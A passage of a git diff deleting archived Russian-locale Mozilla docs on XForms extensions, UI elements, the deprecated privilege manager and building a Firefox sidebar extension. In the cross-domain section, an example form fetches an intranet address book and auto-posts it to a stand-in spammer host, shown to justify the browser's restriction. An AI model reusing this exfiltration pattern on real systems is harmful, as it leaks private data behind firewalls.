-<h4 id="Enumerating_Instances" name="Enumerating_Instances">Enumerating Instances</h4>
-
-<p>The standardized <a href="/en/XPCOM_Interface_Reference/nsIXFormsModelElement" title="en/XPCOM_Interface_Reference/nsIXFormsModelElement">nsIXFormsModelElement</a> does not allow one to enumerate over all possible instances, but only to retrieve instances by their name. In the <em>Mozilla XForms Extension</em> we added a <code>getInstanceDocuments()</code> function to the <code>model</code> which returns all the model's instance documents. This is documented in <a href="/en/XPCOM_Interface_Reference/nsIXFormsNSModelElement" title="en/XPCOM_Interface_Reference/nsIXFormsNSModelElement">nsIXFormsNSModelElement</a>.</p>
-
-<h4 id="Getting_To_Instance_Element_From_A_Data_Node" name="Getting_To_Instance_Element_From_A_Data_Node">Getting To Instance Element From A Data Node</h4>
-
-<p>In the XForms 1.0 specification there is no way to get to the <code>instance</code> element from an instance data node. We have added a function via the <code>getFeature()</code> call on each node, that allows the form author to do that. That is, if <code>instanceNode</code> is a node in an instance document, then:</p>
-
-<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
-</pre>
-
-<p>will return the <code>&lt;instance&gt;</code> element (in the main document) that the node belongs to.</p>
-
-<h4 id="Getting_To_The_Instance_Document_From_The_Instance_Element" name="Getting_To_The_Instance_Document_From_The_Instance_Element">Getting To The Instance Document From The Instance Element</h4>
-
-<p>In the XForms 1.0 specification you have to go through the <code>model</code> element to get to the instance document. It seems a bit awkward if you have the <code>instance</code> element, so we have added a <code>getInstanceDocument()</code> function directly on the <code>instance</code> element as a shortcut. This is documented in <a href="/en/XPCOM_Interface_Reference/nsIXFormsNSInstanceElement" title="en/XPCOM_Interface_Reference/nsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>.</p>
-
-<h4 id="Custom_Control_Interface" name="Custom_Control_Interface">Custom Control Interface</h4>
-
-<p>We have added a lot of functionality to our user interface, which allows the form authors to create <em>custom controls</em>. It involves exposing some (script) functionality on all our controls, like <code>output</code>, <code>input</code>, etc. and allowing the UI to be represented in <a href="/en/XBL" title="en/XBL">XBL</a>. More information can be found in <a href="/en/XForms/Custom_Controls" title="en/XForms/Custom_Controls">XForms:Custom Controls</a>.</p>
-
-<h4 id="labelposition">labelposition</h4>
-
-<p>For <code>xforms:input </code>elements bound to a boolean node we support an attribute <code>labelposition</code> in the namespace <code><a class="external" href="http://www.mozilla.org/projects/xforms/2009/extensions" rel="freelink">http://www.mozilla.org/projects/xfor...009/extensions</a></code>, which allows the form author to define on which side of the checkbox the label will be shown. For details, see the <a href="/en/XForms/User_Interface_Elements/Input" title="https://developer.mozilla.org/en/XForms/User_Interface_Elements/Input">input control documentation</a>.</p>
-
-<h3 id="Misc" name="Misc">Misc</h3>
-
-<h4 id="Cross_Domain_Submission" name="Cross_Domain_Submission">Cross Domain Submission</h4>
-
-<p>Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the <em>Release Notes</em></p>
-
-<p>The cross domain check also includes forms loaded from <code>file://</code>. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.</p>
-
-<p>If you are wondering why we have this restriction, here is a simple example of why:</p>
-
-<pre>&lt;xforms:model&gt;
- &lt;xforms:instance src="http://intranetserver/addrbook.xml"/&gt;
- &lt;xforms:submission id="sub" action="http://megaspammer.com/gather"
- method="post"/&gt;
- &lt;xforms:send submission="sub" ev:event="xforms-ready"/&gt;
-&lt;/xforms:model&gt;
-</pre>
-
-<p>This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) <code><span class="nowiki">http://intranetserver/addrbook.xml</span></code>, and send it to <code><span class="nowiki">http://megaspammer.com/gather</span></code> as soon as you view the XForm.</p>
diff --git a/files/ru/archive/web/xforms/user_interface_elements/index.html b/files/ru/archive/web/xforms/user_interface_elements/index.html
deleted file mode 100644
index 8dd7fcdc8e..0000000000
--- a/files/ru/archive/web/xforms/user_interface_elements/index.html
+++ /dev/null
@@ -1,101 +0,0 @@
----
-title: Mozilla XForms User Interface
-slug: Archive/Web/XForms/User_Interface_Elements
-tags:
- - NeedsTranslation
- - TopicStub
- - XForms
-translation_of: Archive/Web/XForms/User_Interface_Elements
----
-<h3 id="Introduction">Introduction</h3>
-<p>This article is a quick reference of the XForms user interface elements. Mainly this is aimed to document how XForms elements will be presented in Mozilla since the XForms specifications give only a hint of how controls might be rendered.</p>
-<p>Currently XForms can be hosted by XHTML and XUL in Seamonkey and Firefox. Later we have plans to support XForms hosted by SVG. The XForms specs define two kinds of XForms UI elements, called 'Form Controls' and 'XForms User Interface'. Elements from the "Form Controls" group allows users to interact with instance data. The set of "XForms User Interface" elements exist to aid form authors in combining host language markup and XForms markup together in order to build user interfaces. Some of the 'Form Controls' can have multiple appearances and thus may be rendered in multiple ways. We use the data type of the instance node that the form control is bound to as a clue when making a rendering decision. The form author can also use the 'appearance' attribute on the form control to give us another clue. For example, a XForms input control may appear as a text field or as a datepicker depending on whether it is bound to a xsd:string type or a xsd:date type. When a xf:output binds to a node that has a type of xsd:date, we output the date value as plain text. An output bound to a date and also having @appearance='full' will display as a calendar.</p>
-<p>This article uses several notations. If you see <small>Fx 3.0 only</small>, that means that the control will only be available for Firefox 3.0 (Gecko 1.9). There are several possible reasons for this restriction. The first is that the changes required for such controls could not be safely made to Firefox 1.5 or Firefox 2.0. The second is that the control is introduced in XForms 1.1 and we don't feel adding the enhancement would be prudent until the 1.1 spec is more stable. For instance, when the spec reaches 'recommendation'-level status. If you see <small>xhtml/xul</small> then it means the control is available when XForms is hosted in either XHTML or XUL. Similarly, if you see <small>xhtml only</small> or <small>xul only</small>, then it means the control is available only in that host language.</p>
-<h3 id="Attribute_Sets" name="Attribute_Sets">Attribute Sets</h3>
-<p>This section describes attributes that are often used on XForms elements. These attributes are combined into following logical groups.</p>
-<h4 id="UI_Common" name="UI_Common">UI Common</h4>
-<p>The UI Common attribute set (see the <a class="external" href="http://www.w3.org/TR/xforms/#attrs-ui-common">spec</a>) contains the attributes that are available for the XForms elements that are used to build the user interface presentation in a form.</p>
-<ul>
- <li>appearance - the value provided by the form author gives a hint to the processor as to which widget to use to represent the XForms control. Three possible values are available to the author: minimal, compact and full. Generally speaking, the main purpose for these values is to reflect how much space (screen real estate) the displayed widget will take.</li>
- <li>tabindex - defines the keyboard navigation sequence between controls.</li>
- <li>accesskey - keyboard shortcut for moving focus to an XForms element.</li>
-</ul>
-<h4 id="Binding_attributes" name="Binding_attributes">Binding attributes</h4>
-<p>Single-Node (see the <a class="external" href="http://www.w3.org/TR/xforms/#structure-attrs-single-node">spec</a>) and Node-Set (see the <a class="external" href="http://www.w3.org/TR/xforms/#structure-attrs-nodeset">spec</a>) attributes are used to bind XForms elements to instance nodes. These attributes are: ref, nodeset, model and bind.</p>
-<h3 id="XForms_Elements" name="XForms_Elements">XForms Elements</h3>
-<p>Almost every XForms element can be presented as one of serveral different kinds of widgets. This section contains a short description of each XForms element and its representation. The XForms specification offers suggestions for some of the representations, but some of the widgets we use are only available in the Mozilla XForms processor. The choice of widget that we use is often determined by the data type of the instance node that the xforms element is bound to. The form author can also influence the widget by using the appearance attribute on the element.</p>
-<h4 id="Form_Controls_Module" name="Form_Controls_Module">Form Controls Module</h4>
-<p>This section contains a short description for each form control element.</p>
-<h5 id="input" name="input"><a href="/en-US/docs/XForms/User_Interface_Elements/Input">input</a></h5>
-<p>A key xforms element to show and change the instance data to which it is bound. Usually bound to data that can be well-represented by a string (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-input">spec</a>). It can have the following representations:</p>
-<ul>
- <li>text field - default representation. Used for most data types, especially text data.</li>
- <li>checkbox - used for boolean instance data</li>
- <li>datepicker - default representation for date data types. Similar to a combobox. Consists of a text field for direct input and a dropdown calendar that can also be used to input the date value.</li>
- <li>calendar - used for date data types when appearance = 'full'.</li>
- <li>days list - used when the data has a data type of day.</li>
- <li>months list - used when the data has a data type of month.</li>
- <li>number field - used for numerical data types.</li>
-</ul>
-<h5 id="secret" name="secret"><a href="/en-US/docs/XForms/User_Interface_Elements/Secret">secret</a></h5>
-<p>Used for inputting passwords. Each character typed by the user is represented by an asterisk on the screen (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-secret">spec</a>).</p>
-<h5 id="textarea" name="textarea"><a href="/en-US/XForms/User_Interface_Elements/Textarea">textarea</a></h5>
-<p>Serves to show/change multiline text (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-textarea">spec</a>).</p>
-<h5 id="output" name="output"><a href="/en-US/XForms/User_Interface_Elements/Output">output</a></h5>
-<p>Serves to show the instance data that the element is bound to in a read-only manner (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-output">spec</a>). It can have the following presentations:</p>
-<ul>
- <li>text - default representation for data of most types, especially static text.</li>
- <li>calendar - used for date data types when appearance = 'full'.</li>
- <li>image - if the instance node contains an image, then an output element can be used in combination with the mediatype element to display the image.</li>
-</ul>
-<h5 id="upload" name="upload"><a href="/en-US/XForms/User_Interface_Elements/Upload">upload</a></h5>
-<p>Provides a means for the user to select a file (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-upload">spec</a>).</p>
-<h5 id="range" name="range"><a href="/en-US/XForms/User_Interface_Elements/Range">range</a></h5>
-<p>Allows the user to choose a value from within a specific range of values. It is represented by a slider widget (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-range">spec</a>).</p>
-<h5 id="trigger" name="trigger"><a href="/en-US/XForms/User_Interface_Elements/Trigger">trigger</a></h5>
-<p>Allows the user to initiate actions (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-trigger">spec</a>). It can have the following representations:</p>
-<ul>
- <li>button - default representation.</li>
- <li>link/clickable text - used when appearance = 'minimal'.</li>
-</ul>
-<h5 id="submit" name="submit"><a href="/en-US/XForms/User_Interface_Elements/Submit">submit</a></h5>
-<p>Invokes the submission of the selected instance data to its target destination, which could be local or remote (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-submit">spec</a>). It can have the following representations:</p>
-<ul>
- <li>button - default representation.</li>
- <li>link/clickable text - used when appearance = 'minimal'.</li>
-</ul>
-<h5 id="select" name="select"><a href="/en-US/XForms/User_Interface_Elements/select">select</a></h5>
-<p>List control. Allows the user to choose one or multiple values from a list of pre-defined values (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-selectMany">spec</a>). It can have the following representations:</p>
-<ul>
- <li>listbox - default representation</li>
- <li>checkbox group - used when appearance = 'full'</li>
-</ul>
-<h5 id="select1" name="select1"><a href="/en-US/XForms/User_Interface_Elements/Select1">select1</a></h5>
-<p>Combobox control. Allows the user to choose a single value from a list of pre-defined values (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-selectOne">spec</a>). It can have the following representations:</p>
-<ul>
- <li>combobox - default representation</li>
- <li>listbox - used when appearance = 'compact'</li>
- <li>radio group - used when appearance = 'full'</li>
-</ul>
-<h4 id="Additional_Elements" name="Additional_Elements">Additional Elements</h4>
-<p>These elements may be used as child elements to the form controls described above.</p>
-<h5 id="label" name="label"><a href="/en-US/XForms/User_Interface_Elements/Label">label</a></h5>
-<p>Specifies the label for the xforms control (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-commonelems-label">spec</a>). Every form control other than the output element must contain a label element. It is valid for a form control to have an empty label element.</p>
-<h5 id="help" name="help"><a href="/en-US/XForms/User_Interface_Elements/Help">help</a></h5>
-<p>Specifies contextual help for the containing form control (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-commonelems-help">spec</a>). The help will be displayed if the F1 key is pressed while the containing form control has focus.</p>
-<h5 id="hint" name="hint"><a href="/en-US/XForms/User_Interface_Elements/Hint">hint</a></h5>
-<p>Similar to a tooltip (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-commonelems-hint">spec</a>). The hint is displayed when the mouse moves and pauses over the containing form control.</p>
-<h5 id="alert" name="alert"><a href="/en-US/XForms/User_Interface_Elements/Alert">alert</a></h5>
-<p>This message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selectable values (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-common-elements-alert">spec</a>).</p>
-<h5 id="message" name="message"><a href="/en-US/XForms/User_Interface_Elements/Message">message</a></h5>
-<p>Used in combination with event listeners to display a message to the user when the specified event occurs (see the <a class="external" href="http://www.w3.org/TR/xforms/#action-info">spec</a>).</p>
-<h4 id="XForms_User_Interface" name="XForms_User_Interface">XForms User Interface</h4>
-<p>These elements are mainly used to organize and manage the form's markup.</p>
-<p>They can be bound to instance nodes to define context for the xforms controls that they contain, should any of their child nodes happen to use relative xpath expressions. Binding these elements to instance data is also a way to apply Model Item Properties (for example, relevancy) to the elements.</p>
-<p>Elements in this section do not have any behaviors that are dependent on the host language.</p>
-<h5 id="group" name="group"><a href="/en-US/XForms/User_Interface_Elements/Group">group</a></h5>
-<p>This element is used to logically group xforms elements together (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-group">spec</a>).</p>
-<h5 id="switch" name="switch"><a href="/en-US/XForms/User_Interface_Elements/Switch">switch</a></h5>
-<p>This element is used in conjunction with <code>case</code> and <code>toggle</code> elements (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-conditional">spec</a>). The <code>switch</code> element contains <code>case</code> elements which in turn contain markup. Only the contents of a single case may be displayed at one time. The <code>toggle</code> element is used (as an event handler) to make a <code>case</code> visible and thereby hiding all other <code>case</code> elements contained by the same <code>switch</code>.</p>
-<h5 id="repeat" name="repeat"><a href="/en-US/XForms/User_Interface_Elements/Repeat">repeat</a></h5>
-<p>A repeat element contains markup and is itself bound to a nodeset in an instance document (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-repeat">spec</a>). For each node in the nodeset, the contents of the repeat element will be displayed in the form. That node will serve as the context node for any relative xpath expressions in that set of repeated markup. For example, if a repeat is bound to a nodeset that contains 5 nodes and the repeat contains an <code>output</code> element that echoes the current node, then the user will see 5 outputs in the form. Combined together, these outputs would echo the value of every node in the selected nodeset.</p>
diff --git a/files/ru/archive/web/xforms/user_interface_elements/secret/index.html b/files/ru/archive/web/xforms/user_interface_elements/secret/index.html
deleted file mode 100644
index bcf82e040f..0000000000
--- a/files/ru/archive/web/xforms/user_interface_elements/secret/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: XForms Secret Element
-slug: Archive/Web/XForms/User_Interface_Elements/Secret
-translation_of: Archive/Web/XForms/User_Interface_Elements/Secret
----
-<p> </p>
-<h3 id="Introduction" name="Introduction"> Introduction </h3>
-<p>Used for inputting passwords or other sensitive text. Each character typed by the user is represented by an asterisk on the screen (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-secret">spec</a>).
-</p>
-<h3 id="Attributes" name="Attributes"> Attributes </h3>
-<ul><li> UI Common
-<ul><li> appearance - isn't supported.
-</li><li> accesskey - used to specify the keyboard shortcut for focusing this control.
-</li></ul>
-</li><li> Single-Node Binding
-</li><li> Special
-<ul><li> inputmode - isn't supported.
-</li><li> incremental - supported. The default value is <code>false</code>.
-</li></ul>
-</li></ul>
-<p><br>
-</p>
-<h3 id="Type_restrictions" name="Type_restrictions"> Type restrictions </h3>
-<p>The <code>secret</code> element can be bound to a node containing simple content of any data type except <code>xsd:base64Binary</code>, <code>xsd:hexBinray</code> or any data type derived from these.
-</p>
-<h3 id="Representations" name="Representations"> Representations </h3>
-<p>The XForms <code>secret</code> element is represented by a password field. The password field is a text field, the value of which is hidden by asterisks <small>(xhtml/xul)</small>.
-</p><p>Characteristics
-</p>
-<ul><li> analogous widgets are &lt;xhtml:input type="password"/&gt; and &lt;xul:textbox type="password"/&gt;
-</li><li> if the <code>incremental</code> attribute is present and has the value <code>true</code>, then the bound instance node is updated on every user input. Please keep in mind that the instance data will hold exactly what the user gave as input. Any other XForm control bound to that data will show that data 'as is'.
-</li></ul>
diff --git a/files/ru/bypassing_security_restrictions_and_signing_code/index.html b/files/ru/bypassing_security_restrictions_and_signing_code/index.html
deleted file mode 100644
index c07266f3a8..0000000000
--- a/files/ru/bypassing_security_restrictions_and_signing_code/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Bypassing Security Restrictions and Signing Code
-slug: Bypassing_Security_Restrictions_and_Signing_Code
-translation_of: Archive/Misc_top_level/Bypassing_Security_Restrictions_and_Signing_Code
----
-<div>{{ non-standard_header() }} {{ deprecated_header() }}</div>
-
-<p>ранние версии браузера Firefox посволяют веб сайтам, разделять <a href="https://developer.mozilla.org/en-US/docs/Security_check_basics">основные</a> используемые подписанные скрипты, и запрашивают дополнительные права для областей применения подписанных скриптов используя функцию вызова <code>enablePrivelege</code>. Эти детали <strong>Менеджера Привелегий </strong> редко используются (из-за возможности злоупотреблений), и их сложность затрудняет улучшение быстродействия. Подписанные скрипты отделяют что было удалено в {{ bug(726125) }}, <code>эта enablePrivilege</code> возможность была удалена в {{ bug(750859) }}, и возможность <code>enablePrivilege</code> сама по себе была отменена в {{ bug(757046) }}.</p>
-
-<p><strong>Менеджер Привелегий</strong>  был устаревшим в Firefox 12 и отключен в <a href="/en-US/docs/Site_Compatibility_for_Firefox_17">Firefox 17</a>.</p>
-
-<p>Сайты запрашивающие дополнительные привелегии будут сечас просить Firefox пользователей инсталировать <a href="https://developer.mozilla.org/en-US/docs/Extensions">расширение</a>, которое сможет <a href="https://developer.mozilla.org/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">взаимодействовать с непривелефированными страницами</a> если необходимо.</p>
-
-<h2 id="Смотри_также">Смотри также</h2>
-
-<ul>
- <li><a href="http://www-archive.mozilla.org/projects/security/components/signed-scripts.html">Назначенные скрипты в Mozilla</a> (документ из архива)</li>
-</ul>
diff --git a/files/ru/creating_a_firefox_sidebar/index.html b/files/ru/creating_a_firefox_sidebar/index.html
deleted file mode 100644
index 09f3fd95a4..0000000000
--- a/files/ru/creating_a_firefox_sidebar/index.html
+++ /dev/null
@@ -1,175 +0,0 @@
----
-title: Создание боковой панели в Firefox
-slug: Creating_a_Firefox_sidebar
-tags:
- - firefox sidebar extension
-translation_of: Mozilla/Creating_a_Firefox_sidebar
----
-<p> </p>
-<p>В этой статье описывается, как создать зарегистрированную боковую панель в Firefox 2 или выше. Информацию о создании расширения в более ранних браузерах смотрите в справочном разделе.</p>
-<h2 id="Introduction" name="Introduction">Введение</h2>
-<p><font>Эта статья представляет собой быстрый старт для создания новой боковой панели Firefox.<span class="Apple-converted-space"> Всё, что</span></font><font> мы сделаем - это создим боковую панель и зарегистририруем её, чтобы она была доступен в меню.<span class="Apple-converted-space"> </span></font><font>Целью является создание пустой боковой панели, которую можно использовать в качестве заготовки для создания новых приложений в боковой панели.</font></p>
-<p>Создание боковой панели требует создания и регистрации в целевом приложении элементов графического интерфейса (GUI). Во-первых, будет создана простая XUL страница. Затем сделаем регистрационные файлы и, наконец, упакуем боковую панель упаковываются в инсталляционный XPI файл.</p>
-<h2 id="Pre-requisites" name="Pre-requisites">Предпосылки</h2>
-<p>Эта статья представляет собой бастрый старт и не объяснит все элементы <a href="/en/XUL" title="en/XUL">XUL</a>, упаковки и XPI. Желательно, чтобы у вас уже были базовые знания о том, как работает XUL и как Firefox обрабатывает расширения. См. <a href="/ru/docs/Создание_расширения" title="en/Building_an_Extension">Создание расширения</a> (или <a href="/en/Building_an_Extension" title="/en/Building_an_Extension">Building an Extension</a>) для получения более подробной информации о структурировании, упаковке и развертывания расширений.</p>
-<h2 id="Packages" name="Packages">Пакеты</h2>
-<p><span style="display: none;"> </span>Расширения Firefox устанавливаются вместе с пакетами ("<a href="/en/Bundles" title="en/Bundles">Bundles</a>"). Пакет расширения обычно включает в себя «содержимое» поставщика, который содержит XUL код и логику приложения. Опционально в пакет входят языковые локализации и обложки (скины). Большинство дополнений поставляются с древовидной структурой по умолчанию, хотя это не требуется, но рекомендуется её использовать. Пример пакета для создаваемой боковой панели и включаемых файлов приведены ниже.</p>
-<div class="example" id="package_structure">
- <p><strong>Пример 1. Структура пакета</strong></p>
- <pre>emptysidebar
-\- chrome
- |- content
- |- locale
- | \- en-US
- \- skin
-</pre>
-</div>
-<p>Создайте все папки, за исключением <code>skin</code>. Она не используется в этом уроке.</p>
-<p>Папка <code>locale</code> содержит информацию по локализации, в данном случае создана папкатолько для <code>en-US</code> локализации. Это приведено в <a href="#Example2">Примере 2</a>. Локализация включает в себя имя и сочетания клавиш для боковой панели.</p>
-<div class="example" id="en-us_emptysidebar.dtd">
- <p><strong><a name="Example2">Пример 2</a>. chrome/locale/en-US/emptysidebar.dtd</strong></p>
- <pre class="eval">&lt;!ENTITY emptysidebar.title "EmptySidebar"&gt;
-&lt;!ENTITY openEmptySidebar.commandkey "E"&gt;
-&lt;!ENTITY openEmptySidebar.modifierskey "shift accel"&gt;
-</pre>
- <p>Папка content включает в себя нашу боковую панель, содержание файла <code>emptysidebar.xul</code> показано в <a href="#Example3">Примере 3</a>. Он создаёт <a class="external" href="http://books.mozdev.org/html/appc-77238.html">страницу (page)</a> с одной надписью (label). Можно, также, включить сюда другие элементы. О том, как это делается можно узнать, прочитав учебные материалы по XUL.</p>
- <div class="example" id="emptysidebar_xul">
- <p><strong><a name="Example3">Пример 3</a>. chrome/content/emptysidebar.xul</strong></p>
- <pre>&lt;?xml version="1.0"?&gt;
-&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css" ?&gt;
-&lt;?xml-stylesheet href="chrome://browser/skin/browser.css" type="text/css" ?&gt;
-&lt;!DOCTYPE page SYSTEM "chrome://emptysidebar/locale/emptysidebar.dtd"&gt;
-
-&lt;page id="sbEmptySidebar" title="&amp;emptysidebar.title;"
- xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" &gt;
- &lt;vbox flex="1"&gt;
- &lt;label id="atest" value="&amp;emptysidebar.title;" /&gt;
- &lt;/vbox&gt;
-&lt;/page&gt;
-</pre>
- </div>
- <p>Новоые расширения могут быть зарегистрированы о основном и всплывающих меню, для расширения меню Firefox использует оверлеи (overlays). Это отдельный XUL файл, который указывет расположение пунктов меню. В данном уроке панель добаяляется в меню View | Sidebar. Файл оверлея приведен в листинге <a href="#overlay_xul">Пример 4</a>.</p>
- <div class="example" id="overlay_xul">
- <p><strong>Пример 4. chrome/content/firefoxOverlay.xul</strong></p>
- <pre>&lt;?xml version="1.0"?&gt;
-
-&lt;!DOCTYPE overlay SYSTEM "chrome://emptysidebar/locale/emptysidebar.dtd"&gt;
-&lt;overlay id="emptySidebarOverlay"
- xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
-
- &lt;menupopup id="viewSidebarMenu"&gt;
- &lt;menuitem key="key_openEmptySidebar" observes="viewEmptySidebar" /&gt;
- &lt;/menupopup&gt;
-
- &lt;keyset id="mainKeyset"&gt;
- &lt;key id="key_openEmptySidebar" command="viewEmptySidebar"
- key="&amp;openEmptySidebar.commandkey;"
- modifiers="&amp;openEmptySidebar.modifierskey;" /&gt;
- &lt;/keyset&gt;
-
- &lt;broadcasterset id="mainBroadcasterSet"&gt;
- &lt;broadcaster id="viewEmptySidebar"
- label="&amp;emptysidebar.title;"
- autoCheck="false"
- type="checkbox"
- group="sidebar"
- sidebarurl="chrome://emptysidebar/content/emptysidebar.xul"
- sidebartitle="&amp;emptysidebar.title;"
- oncommand="toggleSidebar('viewEmptySidebar');" /&gt;
- &lt;/broadcasterset&gt;
-&lt;/overlay&gt;
-</pre>
- </div>
- <p>Файл описания оверлея состоит из трёх основных блоков: определение меню, сочетаний клавиш и транслятор (broadcaster).</p>
- <p>Broadcaster служит двум целям. Первая - косвенное предоставление аргументов функции toggleSidebar. Вторая - обеспечивает (предоставляет) атрибуты пунктам меню, некоторые из которых изменяются автоматически при вызове toggleSidebar. См. <a href="/En/Code_snippets/Sidebar" title="En/Code snippets/Sidebar">Code_snippets/Sidebar</a> для дополнительной информации.</p>
- <p>Если боковая панель не будет работать с клавиатурными командами, можно удалить ключи<code> openEmptySidebar.commandkey</code> и <code>openEmptySidebar.modifierskey</code> из dtd-схемы, удалив тэг <code>&lt;keyset&gt;</code> из файла <code>firefoxOverlay.xul</code>. Затем нужно установить ключевой атрибут пункта меню в значение "".</p>
- <p>Для расширения необходимо подготовить несколько специальных файлов манифеста, которые управляют тем, как расширение устанавливается и где хранятся chrome-ресурсы. Первый файл <code>install.rdf</code>, отвечает за инсталляцию расширения. См. <a href="/en/Install_Manifests" title="en/Install_Manifests">Install Manifests</a> для получения полного перечня обязательных и опциональных свойств. Инсталлционный манифест приведен в <a href="#install_manifest">Примере 5</a>.</p>
- <div class="example" id="install_manifest">
- <p><strong>Пример 5. install.rdf</strong></p>
- <pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-
-&lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
- xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
- &lt;Description about="urn:mozilla:install-manifest"&gt;
- &lt;em:id&gt;emptysidebar@yourdomain.com&lt;/em:id&gt;
- &lt;em:name&gt;EmptySidebar Extension&lt;/em:name&gt;
- &lt;em:version&gt;1.0&lt;/em:version&gt;
- &lt;em:creator&gt;Your Name&lt;/em:creator&gt;
- &lt;em:description&gt;Example extension for creation and registration of a sidebar.&lt;/em:description&gt;
- &lt;em:targetApplication&gt;
- &lt;Description&gt;
- &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt; &lt;!-- firefox --&gt;
- &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
- &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
- &lt;/Description&gt;
- &lt;/em:targetApplication&gt;
- &lt;/Description&gt;
-&lt;/RDF&gt;
-</pre>
- </div>
- <p>Следующий манифест-файл это <code>chrome.manifest</code>. Chrome-манифест содержит перечень для всех типов ресурсов, которые используются расширением. Также манифест говорит Firefox-у, что расширение имеет оверлей, который нужно объединить в браузере. Для получения дополнительной информации о chrome-манифесте и поддерживаемых им свойствах см. <a href="/en/Chrome_Registration" title="en/Chrome_Registration">Chrome Manifest</a>. Манифест, использованный в нашем расширении приведен в <a href="#chrome_manifest">Примере 6</a>.</p>
- <div class="example" id="chrome_manifest">
- <p><strong>Пример 6. chrome.manifest</strong></p>
- <pre>content emptysidebar chrome/content/
-locale emptysidebar en-US chrome/locale/en-US/
-skin emptysidebar classic/1.0 chrome/skin/
-overlay chrome://browser/content/browser.xul chrome://emptysidebar/content/firefoxOverlay.xul
-</pre>
- </div>
- <h2 id="Test" name="Test">Проверка</h2>
- <p>Во время разработки боковой панели вам часто нужно проверить как это выглядит в Firefox. Существует простой способ сделать это. Во-первых, мы должны сказать Firefox-у о вашем расширение</p>
- <ol>
- <li>Откройте вашу <a class="external" href="http://support.mozilla.com/en-US/kb/Profiles" title="http://support.mozilla.com/en-US/kb/Profiles">Папку профиля</a></li>
- <li>Откройте папку расширений (создайте её, если она не существует)</li>
- <li>Create a new text file, and put the path to your extension folder inside, e.g. <code>C:\extensions\myExtension</code> or <code>~/extensions/myExtension</code>. Save the file with the id of your extension as its name, e.g. <code><a class="link-mailto" href="mailto:emptysidebar@yourdomain.com" rel="freelink">emptysidebar@yourdomain.com</a></code></li>
- </ol>
- <p>Теперь вы готовы к проверке вашего расширения! Перезапустите Firefox и боковая панель будет включена в меню.</p>
- <p><img alt="Image:sidebar-test.png" class="internal" src="/@api/deki/files/850/=Sidebar-test.png"></p>
- <p>Теперь вы можете вернуться, внести изменения в XUL-файл, закрыть и перезапустить Firefox, и внесенные изменения должны появиться в панели.</p>
- <h2 id="Deployment" name="Deployment">Развёртывание</h2>
- <p>У нас есть боковая панель, настало время, чтобы сделать её доступной для всего мира. Для установки необходимо создать XPI-файл, который будет идентифицирован как Firefox-расширение. XPI это ZIP-архив, включающий в себя содержимое расширения, файлы локализации и файлы манифеста.</p>
- <p>Папки содержимого расширения, локализации и скиновупаковываются в файл <code>emptysidebar.jar</code>, который должен быть создан в папке <code>chrome</code>. В UNIX-системах:</p>
- <pre class="eval">~/src/emptysidebar$ <strong>cd chrome</strong>
-~/src/emptysidebar/chrome$ <strong>zip -r emptysidebar.jar content/ locale/</strong>
-</pre>
- <p>В Windows, используйте архиватор ZIP для создания архива <code>emptysidebar.zip</code>, который, затем, переименуйте в  <code>emptysidebar.jar</code>.</p>
- <p>Поскольку мы упаковали наше расширение в JAR-файл, нам нужно обновить chrome.manifest, чтобы  JAR-архив был принят во внимание при работе расширения:</p>
- <div class="example" id="chrome_manifest_jar">
- <p><strong>Пример 7. chrome.manifest</strong></p>
- <pre>content emptysidebar jar:chrome/emptysidebar.jar!/content/
-locale emptysidebar en-US jar:chrome/emptysidebar.jar!/locale/en-US/
-skin emptysidebar classic/1.0 jar:chrome/emptysidebar.jar!/skin/
-overlay chrome://browser/content/browser.xul chrome://emptysidebar/content/firefoxOverlay.xul
-</pre>
- </div>
- <p>Наконец, создайте XPI-файл. Это, также ZIP-архив, содержащий JAR-файл в папке chrome и файлы манифеста. В UNIX-системах:</p>
- <pre class="eval">~/src/emptysidebar/chrome$ <strong>cd ..</strong>
-~/src/emptysidebar$ <strong>zip emptysidebar.xpi install.rdf chrome.manifest chrome/emptysidebar.jar</strong>
-</pre>
- <p>Откройте Firefox и перейдите в папку, содержащую <code>emptysidebar.xpi</code>. Щёлкните по файлу и октроется окно установщика расширений. После перезапуска Firefox, боковая панель будет установлена.</p>
- <p>Вы можете загрузить проект <a class="external" href="http://developer.mozilla.org/samples/extension-samples/emptysidebar.zip">empty sidebar</a> для использования его как основы для ваших собственных панелей.</p>
- <div class="figure" id="emptysidebar_extension">
